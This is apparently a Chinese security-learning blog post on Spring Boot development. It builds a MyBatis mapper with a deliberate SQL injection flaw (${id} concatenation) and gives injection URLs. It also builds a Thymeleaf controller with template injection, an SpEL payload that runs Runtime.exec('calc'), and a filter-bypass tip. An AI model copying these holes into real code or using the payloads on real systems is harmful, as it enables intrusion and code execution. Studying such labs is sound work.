安全安全开发第38天:安全开发-JAVAEE应用&SpringBoot框架&MyBatis注入&Thymeleaf模板注入
Yatming的博客Spring Boot 之所以成为当前 Java 生态中适用面最广的开发框架,核心在于它解决了传统 Java 开发的痛点,同时顺应了现代软件架构的需求,其优势体现在开发效率、生态兼容、场景适配等多个维度。
创建一个springboot的项目

在最顶端的这个服务器URL地址这里:
1 2 3 4
| 服务器url可以选择两个:
https://start.spring.io https://start.aliyun.com
|

编写一个静态页面:



如果端口有冲突,就可以修改这里的端口就行。
拼接路径xiaodi,得到刚刚编写的return yatming。

使用get和post的提交
代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| package com.yatming.springboot_demo.controller;
import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RequestMethod; import org.springframework.web.bind.annotation.RestController;
@RestController public class IndexController { @RequestMapping(value = "/xiaodiget",method = RequestMethod.GET) public String getindex(){ return "get test"; }
@RequestMapping(value = "/xiaodipost",method = RequestMethod.POST) public String postindex(){ return "post test"; } }
|
使用get请求

使用post请求提交

第二种写法:

增加接受变量参数的写法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| package com.yatming.springboot_demo.controller;
import org.springframework.web.bind.annotation.*;
@RestController public class IndexController { @RequestMapping(value = "/xiaodiget",method = RequestMethod.GET) public String getindex(){ return "get test"; }
@RequestMapping(value = "/xiaodipost",method = RequestMethod.POST) public String postindex(){ return "post test"; }
@RequestMapping(value = "/xiaodiget_g",method = RequestMethod.GET) public String get_g(String name){ return "get test="+name; }
@RequestMapping(value = "/xiaodipost_p",method = RequestMethod.POST) public String post_p(String name){ return "post test="+name; } }
|

post的方式:

Springboot 链接 MySQL数据库

新建项目的时候勾选上图这些东西。然后简单的创建一个数据库:


1 2 3 4 5 6
| spring: datasource: url: jdbc:mysql://localhost:3306/xiaodi username: root password: root driver-class-name: com.mysql.cj.jdbc.Driver
|
将其复制粘贴就行了。
然后创建一个类:entity.User
,一般的开发环境,都是一个对应的文件夹一个对应的类,所以这里同样。
1 2 3
| 按下快捷键 Alt + Insert(Windows/Linux)系统 右键点击类内部空白处,选择 Generate → Getter and Setter 也可以通过顶部菜单栏 Code → Generate → Getter and Setter 打开
|


上述代码通常在 Spring Boot 项目中作为数据模型使用,用于在 Controller、Service、Repository 层之间传递用户数据。
生成好之后,这里在创建一个接口:

Mybatis中SQL注入攻击的3种方式:
1
| https://cloud.tencent.com/developer/article/2135404
|
GetadminController.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| package com.example.springbootmybatils.controller;
import com.example.springbootmybatils.entity.User; import com.example.springbootmybatils.mapper.UserMapper; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.RequestParam; import org.springframework.web.bind.annotation.RestController;
import java.util.List;
@RestController public class GetadminController {
@Autowired private UserMapper UserMapper;
@GetMapping("/getadmin") public List<User> getadmindata(@RequestParam Integer id){ List<User> all = UserMapper.findAll(id); return all; }
@GetMapping("/getid") public List<User> getadminid(){ List<User> all = UserMapper.findID(); return all; }
}
|

UserMapper.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| package com.example.springbootmybatils.mapper;
import com.example.springbootmybatils.entity.User; import org.apache.ibatis.annotations.Insert; import org.apache.ibatis.annotations.Mapper; import org.apache.ibatis.annotations.Select;
import java.util.List;
@Mapper public interface UserMapper { @Select("select * from xd where id like '%${id}%'") public List<User> findAll(Integer id);
@Select("select * from xd where id=1") public List<User> findID(); }
|
User.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41
| package com.example.springbootmybatils.entity;
public class User { private Integer id; private String username; private String password;
public Integer getId() { return id; }
public void setId(Integer id) { this.id = id; }
public String getUsername() { return username; }
public void setUsername(String username) { this.username = username; }
public String getPassword() { return password; }
public void setPassword(String password) { this.password = password; }
@Override public String toString() { return "User{" + "id=" + id + ", username='" + username + '\'' + ", password='" + password + '\'' + '}'; } }
|

1 2 3
| http://127.0.0.1:8080/getadmin?id=1%' or '1'='1
http://127.0.0.1:8080/getadmin?id=1%' or 1=1#
|

但是我这里没有注入成功。
SpringBoot-模版引擎-Thymeleaf
ThyremeafController.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36
| package cn.xiaodisec.thyremeafdemo.controller;
import org.springframework.stereotype.Controller; import org.springframework.ui.Model; import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RequestParam; import org.springframework.web.bind.annotation.RestController;
@Controller public class ThyremeafController {
@RequestMapping(value = "/test") public String index() { return "test"; }
@RequestMapping(value = "/") public String index(@RequestParam String lang) { return lang; }
}
|

访问/
的时候:

可以发现确实进行渲染了。


上图就是配置了渲染的路径,还有自动拼接的后缀。

所以这里的意思就是当你访问/test
的时候就会返回,Test.html
这个路径。

这里的页面的内容是:xiaodisec
查看一下test.html:

可以看到确实是这个内容。

有些网站在会有中文,英文,还有其他语言的配置选项,那么如果这里使用的有漏洞的版本,并且他的写法也是这样可以控制变量传参的写法, 那么就会出现模板注入。
1 2 3
| Thymeleaf 模板注入漏洞主要影响 3.0.0 至 3.0.11 版本。
3.0.12 版本及以后对相关漏洞进行了修复,但仍存在一些绕过方式。例如在 3.0.15 版本中,虽修复了 LiteralSubstitutionUtil 函数,添加了对于 “||” 的过滤处理等,但仍可通过一些特殊手段绕过检测,如在 SpringEL 表达式中,在 T 与恶意 Class 之间加个空格来绕过检测并执行表达式。
|

传入恶意的值:
1
| __$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22calc%22).getInputStream()).next()%7d__::.x
|
并且这里需要使用有漏洞的版本:


1
| https://forum.butian.net/share/4179 #Thymeleaf模板引擎注入绕过思路
|